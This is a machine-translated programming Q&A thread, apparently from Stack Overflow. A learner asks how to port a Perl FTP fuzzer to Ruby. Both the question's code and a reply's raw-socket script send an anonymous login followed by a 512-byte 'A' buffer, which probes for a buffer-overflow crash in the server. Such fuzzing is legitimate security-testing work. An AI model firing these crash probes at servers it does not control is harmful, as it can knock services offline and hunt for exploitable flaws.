2011-04-05 70 views
0

嘿,我是Ruby的新手,並試圖通過將一些編程從一種語言移植到另一種語言來學習。現在我工作的Ruby中的FTP模糊反映此perl腳本:使用Ruby來模糊FTP服務器

use Net::FTP; 
$target = "192.168.37.128"; 
$buffer = "A\x20"; 
$buffer .= "A" x 512; 
$ftp = Net::FTP->new($target, Debug => 0, Timeout => 5) 
     or die "Cannot connect to $host: [email protected] \n"; 
$ftp->login("anonymous",'[email protected]') 
     or die "Couldn't log in: [email protected]\n"; 
$ftp->list($buffer); 
$ftp->quit; 

這是我的Ruby等價的:

require 'net/ftp' 
buffer = 'A\x20' 
buffer = (buffer + ('A'*512)) 
ftp = Net::FTP.open('127.0.0.1','anonymous','anonymous') 
ftp.login 
ftp.list(buffer) 
ftp.quit 

當我運行該程序,我得到以下錯誤:

C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:241:in `readline': end of file reached (EOF 
Error) 
     from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:241:in `getline' 
     from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:251:in `getmultiline' 
     from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:265:in `getresp' 
     from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:281:in `voidresp' 
     from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:304:in `block in voidcmd' 
     from C:/Ruby192/lib/ruby/1.9.1/monitor.rb:201:in `mon_synchronize' 
     from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:302:in `voidcmd' 
     from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:155:in `send_type_command' 
     from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:149:in `binary=' 
     from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:168:in `ensure in with_binary' 

     from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:168:in `with_binary' 
     from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:440:in `block in retrlines' 
     from C:/Ruby192/lib/ruby/1.9.1/monitor.rb:201:in `mon_synchronize' 
     from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:439:in `retrlines' 
     from C:/Ruby192/lib/ruby/1.9.1/net/ftp.rb:682:in `list' 
     from ftpcrash.rb:10:in `<main>' 

我追蹤的問題到ftp.list(buffer)線,但不能拿出一個Ruby的解決方案,將完成什麼$ftp->list($buffer)確實在Perl的一個。

對此提出建議?

回答

1

緩衝區是不必要的。 #list採用可選參數,如'* n',而不是緩衝區,它返回一個數組。

require 'net/ftp' 
ftp = Net::FTP.open('ftp.gnu.org','anonymous','') 
puts ftp.list 
ftp.quit 
+0

的思考?我模糊不清的漏洞與ftp LIST命令 – Godzilla74 2011-04-05 20:25:05

+0

中傳遞的太多字符有關哦,那麼通過一切手段做ftp.list(「a_long_string」)並像@Zepplock建議的那樣挽救錯誤。 – steenslag 2011-04-05 20:43:27

+0

原諒我的無知,但如果list()方法不是爲我所使用的目的而構建的,那麼如何拯救錯誤會有所幫助?你是否說有辦法'強制'命令通過救援工作?你能給我一個例子嗎? – Godzilla74 2011-04-05 22:33:52

0

通過net/ftp.rb源代碼判斷當ftp庫試圖從服務器獲取響應並且響應爲空時引發此異常。

您應該將此命令包含在begin/rescue/end(或只是rescue)中並相應地處理該錯誤。

0

在這裏,你想要什麼傢伙

#!/bin/ruby 

require 'socket' 


buffer = "A" * 512 

host = 'xx.xx.xx.xx' 
port = 21 
s = TCPSocket.open(host, port) 
s.recv(1024) 
s.send("USER anonymous\r\n", 0) 
s.recv(1024) 
s.send("PASS anonymous\r\n", 0) 
s.recv(1024) 
s.send(buffer + "\r\n", 0) 
sleep 0.3 
s.close 

保持安全;)上的替代